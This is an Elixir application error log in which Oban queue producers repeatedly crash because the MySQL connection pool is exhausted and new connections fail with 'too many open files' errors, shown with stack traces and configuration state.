State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:19:43.238376Z], limit: 5, uuid: "e2724356-9325-424a-83bf-0cfceff626b3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:43.238400Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.179216>, refresh_timer: #Reference<0.2525715032.1099431938.55669>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:19:43.239476Z], limit: 50, uuid: "9e041597-4adc-465f-a699-dc0bc4fe2722", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:43.239482Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.179218>, refresh_timer: #Reference<0.2525715032.1068498948.54058>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:19:43.239573Z], limit: 5, uuid: "47768064-9bdb-4d88-88a0-b9d64ddf5b28", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:43.239579Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.179217>, refresh_timer: #Reference<0.2525715032.1068498948.54073>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:19:43.239617Z], limit: 3, uuid: "e3d68252-c554-4c9b-926d-9432692ed06c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:43.239622Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.179219>, refresh_timer: #Reference<0.2525715032.1068498948.54063>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:19:43.238972Z], limit: 20, uuid: "fb66aaf6-8a41-49cb-ab0c-dd5d396c6856", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:43.238977Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.179214>, refresh_timer: #Reference<0.2525715032.1099431938.55679>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:00.313000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:00.594000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:03.451000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:03.598000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:04.189000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:04.368000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:06.364000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:06.977000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:19:55.239271Z], limit: 20, uuid: "bdb28a94-3c87-423a-b077-8ff5e00b3eea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:55.239276Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.55842>, refresh_timer: #Reference<0.2525715032.1099431938.55820>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:19:55.238867Z], limit: 10, uuid: "c3a8486f-6a78-43fe-8f6b-a595e8392ff9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:55.238874Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.55843>, refresh_timer: #Reference<0.2525715032.1099431938.55807>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:19:55.239224Z], limit: 3, uuid: "b849fdd5-23f4-42a3-85eb-b0764fc7fb6f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:55.239230Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.179635>, refresh_timer: #Reference<0.2525715032.1077673987.32356>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:19:55.239212Z], limit: 5, uuid: "6e97fabe-94b5-4ddb-849a-e26c18ca71a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:55.239218Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.179634>, refresh_timer: #Reference<0.2525715032.1121189889.179625>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:07.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
